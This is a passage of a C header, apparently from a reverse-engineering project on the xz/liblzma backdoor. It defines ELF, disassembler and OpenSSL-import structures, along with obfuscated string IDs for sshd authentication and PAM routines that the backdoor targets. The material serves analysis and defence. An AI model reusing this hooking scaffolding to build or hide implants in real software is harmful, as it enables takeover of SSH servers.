xzre
xzre.h
Go to the documentation of this file.
1 
7 #ifndef __XZRE_H
8 #define __XZRE_H
9 
10 #ifndef XZRE_SLIM
11 #define _GNU_SOURCE
12 #include <assert.h>
13 #include <link.h>
14 #include <stddef.h>
15 #include <stdint.h>
16 #include <sys/select.h>
17 #include <time.h>
18 #endif
19 
20 typedef uint8_t u8;
21 typedef uint16_t u16;
22 typedef uint32_t u32;
23 typedef uint64_t u64;
24 typedef uintptr_t uptr;
25 
26 #ifdef XZRE_SLIM
27 typedef unsigned int pid_t;
28 typedef unsigned int uid_t;
29 typedef unsigned int gid_t;
30 typedef unsigned int mode_t;
31 
32 typedef uint16_t Elf64_Half;
33 typedef uint32_t Elf64_Word;
34 typedef int32_t Elf64_Sword;
35 typedef uint64_t Elf64_Xword;
36 typedef int64_t Elf64_Sxword;
37 typedef uint32_t Elf32_Addr;
38 typedef uint64_t Elf64_Addr;
39 typedef uint64_t Elf64_Off;
40 typedef uint16_t Elf64_Section;
41 
42 typedef Elf64_Xword Elf64_Relr;
43 
44 #define EI_NIDENT (16)
45 typedef struct
46 {
47  unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
48  Elf64_Half e_type; /* Object file type */
49  Elf64_Half e_machine; /* Architecture */
50  Elf64_Word e_version; /* Object file version */
51  Elf64_Addr e_entry; /* Entry point virtual address */
52  Elf64_Off e_phoff; /* Program header table file offset */
53  Elf64_Off e_shoff; /* Section header table file offset */
54  Elf64_Word e_flags; /* Processor-specific flags */
55  Elf64_Half e_ehsize; /* ELF header size in bytes */
56  Elf64_Half e_phentsize; /* Program header table entry size */
57  Elf64_Half e_phnum; /* Program header table entry count */
58  Elf64_Half e_shentsize; /* Section header table entry size */
59  Elf64_Half e_shnum; /* Section header table entry count */
60  Elf64_Half e_shstrndx; /* Section header string table index */
61 } Elf64_Ehdr;
62 
63 typedef struct
64 {
65  Elf64_Word p_type; /* Segment type */
66  Elf64_Word p_flags; /* Segment flags */
67  Elf64_Off p_offset; /* Segment file offset */
68  Elf64_Addr p_vaddr; /* Segment virtual address */
69  Elf64_Addr p_paddr; /* Segment physical address */
70  Elf64_Xword p_filesz; /* Segment size in file */
71  Elf64_Xword p_memsz; /* Segment size in memory */
72  Elf64_Xword p_align; /* Segment alignment */
73 } Elf64_Phdr;
74 
75 typedef struct
76 {
77  Elf64_Sxword d_tag; /* Dynamic entry type */
78  union
79  {
80  Elf64_Xword d_val; /* Integer value */
81  Elf64_Addr d_ptr; /* Address value */
82  } d_un;
83 } Elf64_Dyn;
84 
85 
86 typedef struct
87 {
88  Elf64_Word st_name; /* Symbol name (string tbl index) */
89  unsigned char st_info; /* Symbol type and binding */
90  unsigned char st_other; /* Symbol visibility */
91  Elf64_Section st_shndx; /* Section index */
92  Elf64_Addr st_value; /* Symbol value */
93  Elf64_Xword st_size; /* Symbol size */
94 } Elf64_Sym;
95 
96 typedef struct
97 {
98  Elf64_Addr r_offset; /* Address */
99  Elf64_Xword r_info; /* Relocation type and symbol index */
100  Elf64_Sxword r_addend; /* Addend */
101 } Elf64_Rela;
102 
103 typedef uptr
104  Elf32_Sym, Elf64_Relr,
105  Elf64_Verdef, Elf64_Versym, sigset_t, fd_set, EVP_PKEY, RSA, DSA,
106  BIGNUM, EC_POINT, EC_KEY, EC_GROUP, EVP_MD, point_conversion_form_t,
107  EVP_CIPHER, EVP_CIPHER_CTX, ENGINE, EVP_MD_CTX, EVP_PKEY_CTX, BN_CTX;
108 typedef struct {
109  void *(*alloc)(void *opaque, size_t nmemb, size_t size);
110  void (*free)(void *opaque, void *ptr);
111  void *opaque;
112 } lzma_allocator;
113 
114 typedef long int Lmid_t;
115 #define ElfW(Sym) Elf64_Sym
116 
117 
125 typedef enum {
126  LZMA_CHECK_NONE = 0,
133  LZMA_CHECK_CRC32 = 1,
140  LZMA_CHECK_CRC64 = 4,
147  LZMA_CHECK_SHA256 = 10
153 } lzma_check;
154 
155 #endif
156 
157 #ifndef XZRE_SLIM
158 #include <lzma.h>
159 #include <openssl/dsa.h>
160 #include <openssl/ec.h>
161 #include <openssl/evp.h>
162 #include <openssl/rsa.h>
163 #include <elf.h>
164 #include <link.h>
165 typedef Elf64_Xword Elf64_Relr;
166 #endif
167 
168 #define UPTR(x) ((uptr)(x))
169 #define PTRADD(a, b) (UPTR(a) + UPTR(b))
170 #define PTRDIFF(a, b) (UPTR(a) - UPTR(b))
171 
172 /*
173  * Force a compilation error if condition is true, but also produce a
174  * result (of value 0 and type int), so the expression can be used
175  * e.g. in a structure initializer (or where-ever else comma expressions
176  * aren't permitted).
177  */
178 #define BUILD_BUG_ON_ZERO(e) ((int)(sizeof(struct { int:(-!!(e)); })))
179 #define __same_type(a, b) __builtin_types_compatible_p(typeof(a), typeof(b))
180 #define __must_be_array(a) BUILD_BUG_ON_ZERO(__same_type((a), &(a)[0]))
181 #define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
182 
183 // copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=include/link.h;h=bef2820b40cd553c77990dcda4f4ccf0203a9110;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l360
185 {
186  uintptr_t cookie;
187  unsigned int bindflags;
188 };
189 
190 typedef struct link_map *lookup_t;
191 
193 typedef struct gnu_hash_table {
194  uint32_t nbuckets;
195  uint32_t symoffset;
196  uint32_t bloom_size;
197  uint32_t bloom_shift;
198  uint64_t bloom[];
199  #if 0
200  // uint64_t bloom[bloom_size]; /* uint32_t for 32-bit binaries */
201  // uint32_t buckets[nbuckets];
202  // uint32_t chain[];
203  #endif
205 
206 struct La_i86_regs;
207 struct La_i86_retval;
208 struct La_x86_64_regs;
209 struct La_x86_64_retval;
210 struct La_x32_regs;
211 struct La_x32_retval;
212 
213 // copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/generic/ldsodefs.h;h=2ebe7901c03ade2da466d8a2bf1e1214ef8f54d1;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l256
214 // and https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/x86/ldsodefs.h;h=50dc81c02249bc8e034842066428452f6c00aec3;hb=57581acd9559217e859fdac693145ce6399f4d70
216 {
217  void (*activity) (uintptr_t *, unsigned int);
218  char *(*objsearch) (const char *, uintptr_t *, unsigned int);
219  unsigned int (*objopen) (struct link_map *, Lmid_t, uintptr_t *);
220  void (*preinit) (uintptr_t *);
221  union
222  {
223  uintptr_t (*symbind32) (Elf32_Sym *, unsigned int, uintptr_t *,
224  uintptr_t *, unsigned int *, const char *);
225  uintptr_t (*symbind64) (Elf64_Sym *, unsigned int, uintptr_t *,
226  uintptr_t *, unsigned int *, const char *);
227  };
228  union
229  {
230  Elf32_Addr (*i86_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
231  uintptr_t *, struct La_i86_regs *,
232  unsigned int *, const char *name,
233  long int *framesizep);
234  Elf64_Addr (*x86_64_gnu_pltenter) (Elf64_Sym *, unsigned int,
235  uintptr_t *,
236  uintptr_t *, struct La_x86_64_regs *,
237  unsigned int *, const char *name,
238  long int *framesizep);
239  Elf32_Addr (*x32_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
240  uintptr_t *, struct La_x32_regs *,
241  unsigned int *, const char *name,
242  long int *framesizep);
243  };
244  union
245  {
246  unsigned int (*i86_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
247  uintptr_t *, const struct La_i86_regs *,
248  struct La_i86_retval *, const char *);
249  unsigned int (*x86_64_gnu_pltexit) (Elf64_Sym *, unsigned int,
250  uintptr_t *,
251  uintptr_t *,
252  const struct La_x86_64_regs *,
253  struct La_x86_64_retval *,
254  const char *);
255  unsigned int (*x32_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
256  uintptr_t *,
257  const struct La_x32_regs *,
258  struct La_x86_64_retval *,
259  const char *);
260  };
261  unsigned int (*objclose) (uintptr_t *);
262 
263  struct audit_ifaces *next;
264 };
265 
266 
268 typedef struct {
270  uint32_t state[8];
271 
273  uint64_t size;
275 
280 typedef struct {
282  uint8_t buffer[64];
283 
285  union {
286  uint32_t crc32;
287  uint64_t crc64;
289  } state;
290 
292 
293 #define CHACHA20_KEY_SIZE 32
294 #define CHACHA20_IV_SIZE 16
295 #define SHA256_DIGEST_SIZE 32
296 #define ED448_KEY_SIZE 57
297 #define ED448_SIGNATURE_SIZE 114
298 
299 #define X_BN_num_bytes(bits) (((bits)+7)/8)
300 
301 // opcode is always +0x80 for the sake of it (yet another obfuscation)
302 #define XZDASM_OPC(op) (op - 0x80)
303 
304 typedef int BOOL;
305 
306 #define TRUE 1
307 #define FALSE 0
308 
309 typedef enum {
310  // has lock or rep prefix
311  DF_LOCK_REP = 1,
312  // has segment override
313  DF_SEG = 2,
314  // has operand size override
315  DF_OSIZE = 4,
316  // has address size override
317  DF_ASIZE = 8,
318  // vex instruction
319  DF_VEX = 0x10,
320  // has rex
321  DF_REX = 0x20,
322  // has modrm
323  DF_MODRM = 0x40,
324  // has sib
325  DF_SIB = 0x80
326 } InstructionFlags;
327 
328 typedef enum {
329  // memory with displacement
330  DF_MEM_DISP = 0x1,
331  // 8-bit displacement
332  DF_MEM_DISP8 = 0x2,
333  // memory seg+offs (0xa0-0xa3)
334  DF_MEM_SEG_OFFS = 0x4,
335  // has immediate
336  DF_IMM = 0x8,
337  // 64-bit immediate (movabs)
338  DF_IMM64 = 0x10
339 } InstructionFlags2;
340 
341 typedef enum {
342  // ELF has JMPREL relocs
343  X_ELF_PLTREL = 0x1,
344  // ELF has RELA relocs
345  X_ELF_RELA = 0x2,
346  // ELF has RELR relocs
347  X_ELF_RELR = 0x4,
348  // ELF has DT_VERDEF
349  X_ELF_VERDEF = 0x8,
350  // ELF has DT_VERSYM
351  X_ELF_VERSYM = 0x10,
352  // ELF has DF_1_NOW
353  X_ELF_NOW = 0x20
354 } ElfFlags;
355 
356 typedef enum {
357  // register-indirect addressing or no displacement
358  MRM_I_REG, // 00
359  // indirect with one byte displacement
360  MRM_I_DISP1, // 01
361  // indirect with four byte displacement
362  MRM_I_DISP4, // 10
363  // direct-register addressing
364  MRM_D_REG // 11
365 } ModRm_Mod;
366 
367 typedef enum {
368  // find function beginning by looking for endbr64
369  FIND_ENDBR64,
370  // find function beginning by looking for padding,
371  // then getting the instruction after it
372  FIND_NOP
373 } FuncFindType;
374 
375 typedef enum {
381  X_ELF_DYNAMIC_LINKER = 1,
382  X_ELF_LIBC = 2,
383  X_ELF_LIBCRYPTO = 3
384 } ElfId;
385 
386 typedef enum {
387  XREF_xcalloc_zero_size = 0,
388  XREF_Could_not_chdir_to_home_directory_s_s = 1,
389  XREF_list_hostkey_types = 2,
390  XREF_demote_sensitive_data = 3,
391  XREF_mm_terminate = 4,
392  XREF_mm_pty_allocate = 5,
393  XREF_mm_do_pam_account = 6,
394  XREF_mm_session_pty_cleanup2 = 7,
395  XREF_mm_getpwnamallow = 8,
396  XREF_mm_sshpam_init_ctx = 9,
397  XREF_mm_sshpam_query = 10,
398  XREF_mm_sshpam_respond = 11,
399  XREF_mm_sshpam_free_ctx = 12,
400  XREF_mm_choose_dh = 13,
401  XREF_sshpam_respond = 14,
402  XREF_sshpam_auth_passwd = 15,
403  XREF_sshpam_query = 16,
404  XREF_start_pam = 17,
405  XREF_mm_request_send = 18,
406  XREF_mm_log_handler = 19,
407  XREF_Could_not_get_agent_socket = 20,
408  XREF_auth_root_allowed = 21,
409  XREF_mm_answer_authpassword = 22,
410  XREF_mm_answer_keyallowed = 23,
411  XREF_mm_answer_keyverify = 24,
412  XREF_48s_48s_d_pid_ld_ = 25,
413  XREF_Unrecognized_internal_syslog_level_code_d = 26
414 } StringXrefId;
415 
416 typedef enum {
417  STR_from = 0x810,
418  STR_ssh2 = 0x678,
419  STR_48s_48s_d_pid_ld_ = 0xd8,
420  STR_s = 0x708,
421  STR_usr_sbin_sshd = 0x108,
422  STR_Accepted_password_for = 0x870,
423  STR_Accepted_publickey_for = 0x1a0,
424  STR_BN_bin2bn = 0xc40,
425  STR_BN_bn2bin = 0x6d0,
426  STR_BN_dup = 0x958,
427  STR_BN_free = 0x418,
428  STR_BN_num_bits = 0x4e0,
429  STR_Connection_closed_by = 0x790,
430  STR_Could_not_chdir_to_home_directory_s_s = 0x18,
431  STR_Could_not_get_agent_socket = 0xb0,
432  STR_DISPLAY = 0x960,
433  STR_DSA_get0_pqg = 0x9d0,
434  STR_DSA_get0_pub_key = 0x468,
435  STR_EC_KEY_get0_group = 0x7e8,
436  STR_EC_KEY_get0_public_key = 0x268,
437  STR_EC_POINT_point2oct = 0x6e0,
438  STR_EVP_CIPHER_CTX_free = 0xb28,
439  STR_EVP_CIPHER_CTX_new = 0x838,
440  STR_EVP_DecryptFinal_ex = 0x2a8,
441  STR_EVP_DecryptInit_ex = 0xc08,
442  STR_EVP_DecryptUpdate = 0x3f0,
443  STR_EVP_Digest = 0xf8,
444  STR_EVP_DigestVerify = 0x408,
445  STR_EVP_DigestVerifyInit = 0x118,
446  STR_EVP_MD_CTX_free = 0xd10,
447  STR_EVP_MD_CTX_new = 0xaf8,
448  STR_EVP_PKEY_free = 0x6f8,
449  STR_EVP_PKEY_new_raw_public_key = 0x758,
450  STR_EVP_PKEY_set1_RSA = 0x510,
451  STR_EVP_chacha20 = 0xc28,
452  STR_EVP_sha256 = 0xc60,
453  STR_EVP_sm = 0x188,
454  STR_GLIBC_2_2_5 = 0x8c0,
455  STR_GLRO_dl_naudit_naudit = 0x6a8,
456  STR_KRB5CCNAME = 0x1e0,
457  STR_LD_AUDIT = 0xcf0,
458  STR_LD_BIND_NOT = 0xbc0,
459  STR_LD_DEBUG = 0xa90,
460  STR_LD_PROFILE = 0xb98,
461  STR_LD_USE_LOAD_BIAS = 0x3e0,
462  STR_LINES = 0xa88,
463  STR_RSA_free = 0xac0,
464  STR_RSA_get0_key = 0x798,
465  STR_RSA_new = 0x918,
466  STR_RSA_public_decrypt = 0x1d0,
467  STR_RSA_set0_key = 0x540,
468  STR_RSA_sign = 0x8f8,
469  STR_SSH_2_0 = 0x990,
470  STR_TERM = 0x4a8,
471  STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
472  STR_WAYLAND_DISPLAY = 0x158,
473  STR_errno_location = 0x878,
474  STR_libc_stack_end = 0x2b0,
475  STR_libc_start_main = 0x228,
476  STR_dl_audit_preinit = 0xa60,
477  STR_dl_audit_symbind_alt = 0x9c8,
478  STR_exit = 0x8a8,
479  STR_r_debug = 0x5b0,
480  STR_rtld_global = 0x5b8,
481  STR_rtld_global_ro = 0xa98,
482  STR_auth_root_allowed = 0xb8,
483  STR_authenticating = 0x1d8,
484  STR_demote_sensitive_data = 0x28,
485  STR_getuid = 0x348,
486  STR_ld_linux_x86_64_so = 0xa48,
487  STR_libc_so = 0x7d0,
488  STR_libcrypto_so = 0x7c0,
489  STR_liblzma_so = 0x590,
490  STR_libsystemd_so = 0x938,
491  STR_list_hostkey_types = 0x20,
492  STR_malloc_usable_size = 0x440,
493  STR_mm_answer_authpassword = 0xc0,
494  STR_mm_answer_keyallowed = 0xc8,
495  STR_mm_answer_keyverify = 0xd0,
496  STR_mm_answer_pam_start = 0x948,
497  STR_mm_choose_dh = 0x78,
498  STR_mm_do_pam_account = 0x40,
499  STR_mm_getpwnamallow = 0x50,
500  STR_mm_log_handler = 0xa8,
501  STR_mm_pty_allocate = 0x38,
502  STR_mm_request_send = 0xa0,
503  STR_mm_session_pty_cleanup2 = 0x48,
504  STR_mm_sshpam_free_ctx = 0x70,
505  STR_mm_sshpam_init_ctx = 0x58,
506  STR_mm_sshpam_query = 0x60,
507  STR_mm_sshpam_respond = 0x68,
508  STR_mm_terminate = 0x30,
509  STR_parse_PAM = 0xc58,
510  STR_password = 0x400,
511  STR_preauth = 0x4f0,
512  STR_pselect = 0x690,
513  STR_publickey = 0x7b8,
514  STR_read = 0x308,
515  STR_rsa_sha2_256 = 0x710,
516  STR_setlogmask = 0x428,
517  STR_setresgid = 0x5f0,
518  STR_setresuid = 0xab8,
519  STR_shutdown = 0x760,
520  STR_ssh_2_0 = 0xd08,
521  STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
522  STR_sshpam_auth_passwd = 0x88,
523  STR_sshpam_query = 0x90,
524  STR_sshpam_respond = 0x80,
525  STR_start_pam = 0x98,
526  STR_system = 0x9f8,
527  STR_unknown = 0x198,
528  STR_user = 0xb10,
529  STR_write = 0x380,
530  STR_xcalloc_zero_size = 0x10,
531  STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
532  STR_ELF = 0x300,
533 } EncodedStringId;
534 
535 #ifndef XZRE_SLIM
536 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
537 #else
538 #define assert_offset(t, f, o)
539 #endif
540 
541 #define CONCAT(x, y) x ## y
542 #define EXPAND(x, y) CONCAT(x, y)
543 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
544 
545 struct sshbuf;
546 struct kex;
547 
548 /* permit_root_login */
549 #define PERMIT_NOT_SET -1
550 #define PERMIT_NO 0
551 #define PERMIT_FORCED_ONLY 1
552 #define PERMIT_NO_PASSWD 2
553 #define PERMIT_YES 3
554 
558 struct monitor {
559  int m_recvfd;
560  int m_sendfd;
561  int m_log_recvfd;
562  int m_log_sendfd;
563  struct kex **m_pkex;
564  pid_t m_pid;
565 };
566 
571  struct sshkey **host_keys; /* all private host keys */
572  struct sshkey **host_pubkeys; /* all public host keys */
573  struct sshkey **host_certificates; /* all public host certificates */
574  int have_ssh2_key;
575 };
576 
581 struct sshkey {
582  int type;
583  int flags;
584  /* KEY_RSA */
585  RSA *rsa;
586  /* KEY_DSA */
587  DSA *dsa;
588  /* KEY_ECDSA and KEY_ECDSA_SK */
589  int ecdsa_nid; /* NID of curve */
590  EC_KEY *ecdsa;
591  /* KEY_ED25519 and KEY_ED25519_SK */
592  u8 *ed25519_sk;
593  u8 *ed25519_pk;
594  /* KEY_XMSS */
595  char *xmss_name;
596  char *xmss_filename; /* for state file updates */
597  void *xmss_state; /* depends on xmss_name, opaque */
598  u8 *xmss_sk;
599  u8 *xmss_pk;
600  /* KEY_ECDSA_SK and KEY_ED25519_SK */
601  char sk_application;
602  u8 sk_flags;
603  struct sshbuf *sk_key_handle;
604  struct sshbuf *sk_reserved;
605  /* Certificates */
606  struct sshkey_cert *cert;
607  /* Private key shielding */
608  u8 *shielded_private;
609  size_t shielded_len;
610  u8 *shield_prekey;
611  size_t shield_prekey_len;
612 };
613 
614 typedef struct __attribute__((packed)) got_ctx {
618  void *got_ptr;
629  void *cpuid_fn;
634  ptrdiff_t got_offset;
635 } got_ctx_t;
636 
637 assert_offset(got_ctx_t, got_ptr, 0);
638 assert_offset(got_ctx_t, return_address, 0x8);
639 assert_offset(got_ctx_t, cpuid_fn, 0x10);
640 assert_offset(got_ctx_t, got_offset, 0x18);
641 static_assert(sizeof(got_ctx_t) == 0x20);
642 
643 typedef struct __attribute__((packed)) elf_entry_ctx {
648  void *symbol_ptr;
655 
656 assert_offset(elf_entry_ctx_t, symbol_ptr, 0);
657 assert_offset(elf_entry_ctx_t, got_ctx, 0x8);
658 assert_offset(elf_entry_ctx_t, frame_address, 0x28);
659 
660 typedef struct __attribute__((packed)) dasm_ctx {
661  u8* instruction;
662  u64 instruction_size;
663  union {
664  struct __attribute__((packed)) {
668  u8 flags;
672  u8 flags2;
673  PADDING(2);
674  u8 lock_rep_byte;
675  u8 seg_byte;
676  u8 osize_byte;
677  u8 asize_byte;
678  u8 vex_byte;
679  u8 vex_byte2;
680  u8 vex_byte3;
681  u8 rex_byte;
682  union {
683  struct __attribute__((packed)) {
684  u8 modrm;
685  u8 modrm_mod;
686  u8 modrm_reg;
687  u8 modrm_rm;
688  };
689  u32 modrm_word;
690  };
691  };
692  u16 flags_u16;
693  };
694  u8 imm64_reg; // low 3 bits only
695  struct __attribute__((packed)) {
696  union {
697  struct __attribute__((packed)) {
698  u8 sib;
699  u8 sib_scale;
700  u8 sib_index;
701  u8 sib_base;
702  };
703  u32 sib_word;
704  };
705  };
706  PADDING(3);
707  u32 opcode;
708  PADDING(4);
709  u64 mem_disp;
710  // e.g. in CALL
711  u64 operand;
712  u64 operand_zeroextended;
713  u64 operand_size;
714  u8 insn_offset;
715  PADDING(7);
716 } dasm_ctx_t;
717 
718 assert_offset(dasm_ctx_t, instruction, 0);
719 assert_offset(dasm_ctx_t, instruction_size, 8);
720 assert_offset(dasm_ctx_t, flags, 0x10);
721 assert_offset(dasm_ctx_t, flags2, 0x11);
722 assert_offset(dasm_ctx_t, lock_rep_byte, 0x14);
723 assert_offset(dasm_ctx_t, seg_byte, 0x15);
724 assert_offset(dasm_ctx_t, osize_byte, 0x16);
725 assert_offset(dasm_ctx_t, asize_byte, 0x17);
726 assert_offset(dasm_ctx_t, vex_byte, 0x18);
727 assert_offset(dasm_ctx_t, vex_byte2, 0x19);
728 assert_offset(dasm_ctx_t, vex_byte3, 0x1A);
729 assert_offset(dasm_ctx_t, rex_byte, 0x1B);
730 assert_offset(dasm_ctx_t, modrm, 0x1C);
731 assert_offset(dasm_ctx_t, modrm_mod, 0x1D);
732 assert_offset(dasm_ctx_t, modrm_reg, 0x1E);
733 assert_offset(dasm_ctx_t, modrm_rm, 0x1F);
734 assert_offset(dasm_ctx_t, imm64_reg, 0x20);
735 assert_offset(dasm_ctx_t, sib, 0x21);
736 assert_offset(dasm_ctx_t, sib_scale, 0x22);
737 assert_offset(dasm_ctx_t, sib_index, 0x23);
738 assert_offset(dasm_ctx_t, sib_base, 0x24);
739 assert_offset(dasm_ctx_t, opcode, 0x28);
740 assert_offset(dasm_ctx_t, mem_disp, 0x30);
741 assert_offset(dasm_ctx_t, operand, 0x38);
742 assert_offset(dasm_ctx_t, operand_zeroextended, 0x40);
743 assert_offset(dasm_ctx_t, operand_size, 0x48);
744 assert_offset(dasm_ctx_t, insn_offset, 0x50);
745 static_assert(sizeof(dasm_ctx_t) == 0x58);
746 
747 typedef struct __attribute__((packed)) elf_info {
751  Elf64_Ehdr *elfbase;
759  Elf64_Phdr *phdrs;
763  u64 e_phnum;
767  Elf64_Dyn *dyn;
775  char *strtab;
779  Elf64_Sym *symtab;
783  Elf64_Rela *plt_relocs;
805  Elf64_Verdef *verdef;
810  Elf64_Versym *versym;
811  Elf64_Rela *rela_relocs;
812  u32 rela_relocs_num;
813  u32 _unused0;
814  Elf64_Relr *relr_relocs;
815  u32 relr_relocs_num;
816  PADDING(4);
827 
828  u64 rodata_segment_start;
829  u64 rodata_segment_size;
830  u64 data_segment_start;
831  u64 data_segment_size;
832  u64 data_segment_alignment;
833 
834  u8 flags;
835  PADDING(7);
844  u32 gnu_hash_bloom_shift;
845  PADDING(4);
846  u64 *gnu_hash_bloom;
847  u32 *gnu_hash_buckets;
848  u32 *gnu_hash_chain;
849 } elf_info_t;
850 
851 assert_offset(elf_info_t, elfbase, 0x0);
852 assert_offset(elf_info_t, first_vaddr, 0x8);
853 assert_offset(elf_info_t, phdrs, 0x10);
854 assert_offset(elf_info_t, e_phnum, 0x18);
855 assert_offset(elf_info_t, dyn, 0x20);
856 assert_offset(elf_info_t, dyn_num_entries, 0x28);
857 assert_offset(elf_info_t, strtab, 0x30);
858 assert_offset(elf_info_t, symtab, 0x38);
859 assert_offset(elf_info_t, plt_relocs, 0x40);
860 assert_offset(elf_info_t, plt_relocs_num, 0x48);
861 assert_offset(elf_info_t, gnurelro_found, 0x4C);
862 assert_offset(elf_info_t, gnurelro_vaddr, 0x50);
863 assert_offset(elf_info_t, gnurelro_memsize, 0x58);
864 assert_offset(elf_info_t, verdef, 0x60);
865 assert_offset(elf_info_t, verdef_num, 0x68);
866 assert_offset(elf_info_t, versym, 0x70);
867 assert_offset(elf_info_t, rela_relocs, 0x78);
868 assert_offset(elf_info_t, rela_relocs_num, 0x80);
869 assert_offset(elf_info_t, relr_relocs, 0x88);
870 assert_offset(elf_info_t, relr_relocs_num, 0x90);
871 assert_offset(elf_info_t, code_segment_start, 0x98);
872 assert_offset(elf_info_t, code_segment_size, 0xA0);
873 assert_offset(elf_info_t, rodata_segment_start, 0xA8);
874 assert_offset(elf_info_t, rodata_segment_size, 0xB0);
875 assert_offset(elf_info_t, data_segment_start, 0xB8);
876 assert_offset(elf_info_t, data_segment_size, 0xC0);
877 assert_offset(elf_info_t, data_segment_alignment, 0xC8);
878 assert_offset(elf_info_t, flags, 0xD0);
879 assert_offset(elf_info_t, gnu_hash_nbuckets, 0xd8);
880 assert_offset(elf_info_t, gnu_hash_last_bloom, 0xdc);
881 assert_offset(elf_info_t, gnu_hash_bloom_shift, 0xe0);
882 assert_offset(elf_info_t, gnu_hash_bloom, 0xe8);
883 assert_offset(elf_info_t, gnu_hash_buckets, 0xf0);
884 assert_offset(elf_info_t, gnu_hash_chain, 0xf8);
885 static_assert(sizeof(elf_info_t) == 0x100);
886 
887 typedef struct __attribute__((packed)) libc_imports {
888  u32 resolved_imports_count;
889  PADDING(4);
890  size_t (*malloc_usable_size)(void *ptr);
891  uid_t (*getuid)(void);
892  void (*exit)(int status);
893  int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
894  int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
895  int (*system)(const char *command);
896  ssize_t (*write)(int fd, const void *buf, size_t count);
897  int (*pselect)(
898  int nfds, fd_set *readfds, fd_set *writefds,
899  fd_set *exceptfds, const struct timespec *timeout,
900  const sigset_t *sigmask);
901  ssize_t (*read)(int fd, void *buf, size_t count);
902  int *(*__errno_location)(void);
903  int (*setlogmask)(int mask);
904  int (*shutdown)(int sockfd, int how);
905  void *__libc_stack_end;
907 
908 assert_offset(libc_imports_t, resolved_imports_count, 0);
909 assert_offset(libc_imports_t, malloc_usable_size, 8);
910 assert_offset(libc_imports_t, getuid, 0x10);
911 assert_offset(libc_imports_t, exit, 0x18);
912 assert_offset(libc_imports_t, setresgid, 0x20);
913 assert_offset(libc_imports_t, setresuid, 0x28);
914 assert_offset(libc_imports_t, system, 0x30);
915 assert_offset(libc_imports_t, write, 0x38);
916 assert_offset(libc_imports_t, pselect, 0x40);
917 assert_offset(libc_imports_t, read, 0x48);
918 assert_offset(libc_imports_t, __errno_location, 0x50);
919 assert_offset(libc_imports_t, setlogmask, 0x58);
920 assert_offset(libc_imports_t, shutdown, 0x60);
921 assert_offset(libc_imports_t, __libc_stack_end, 0x68);
922 static_assert(sizeof(libc_imports_t) == 0x70);
923 
924 typedef int (*pfn_RSA_public_decrypt_t)(
925  int flen, unsigned char *from, unsigned char *to,
926  RSA *rsa, int padding);
927 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey, struct rsa_st *key);
928 typedef void (*pfn_RSA_get0_key_t)(
929  const RSA *r,
930  const BIGNUM **n, const BIGNUM **e, const BIGNUM **d);
931 
932 typedef struct __attribute__((packed)) imported_funcs {
933  pfn_RSA_public_decrypt_t RSA_public_decrypt;
934  pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
935  // ???
936  void (*RSA_get0_key_null)(
937  const RSA *r, const BIGNUM **n,
938  const BIGNUM **e, const BIGNUM **d);
954  void (*DSA_get0_pqg)(
955  const DSA *d, const BIGNUM **p,
956  const BIGNUM **q, const BIGNUM **g);
957  const BIGNUM *(*DSA_get0_pub_key)(const DSA *d);
958  size_t (*EC_POINT_point2oct)(
959  const EC_GROUP *group, const EC_POINT *p,
960  point_conversion_form_t form, unsigned char *buf,
961  size_t len, BN_CTX *ctx);
962  EC_POINT *(*EC_KEY_get0_public_key)(const EC_KEY *key);
963  const EC_GROUP *(*EC_KEY_get0_group)(const EC_KEY *key);
964  EVP_MD *(*EVP_sha256)(void);
965  pfn_RSA_get0_key_t RSA_get0_key;
966  int (*BN_num_bits)(const BIGNUM *a);
967  EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
968  int type, ENGINE *e,
969  const unsigned char *key, size_t keylen);
970  EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
971  int (*EVP_DigestVerifyInit)(
972  EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
973  const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
974  int (*EVP_DigestVerify)(
975  EVP_MD_CTX *ctx, const unsigned char *sig,
976  size_t siglen, const unsigned char *tbs, size_t tbslen);
977  void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
978  void (*EVP_PKEY_free)(EVP_PKEY *key);
979  EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
980  int (*EVP_DecryptInit_ex)(
981  EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type,
982  ENGINE *impl, const unsigned char *key, const unsigned char *iv);
983  int (*EVP_DecryptUpdate)(
984  EVP_CIPHER_CTX *ctx, unsigned char *out,
985  int *outl, const unsigned char *in, int inl);
986  int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);
987  void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
988  const EVP_CIPHER *(*EVP_chacha20)(void);
989  RSA *(*RSA_new)(void);
990  BIGNUM *(*BN_dup)(const BIGNUM *from);
991  BIGNUM *(*BN_bin2bn)(const unsigned char *s, int len, BIGNUM *ret);
992  int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
993  int (*EVP_Digest)(
994  const void *data, size_t count, unsigned char *md,
995  unsigned int *size, const EVP_MD *type, ENGINE *impl);
996  int (*RSA_sign)(
997  int type,
998  const unsigned char *m, unsigned int m_len,
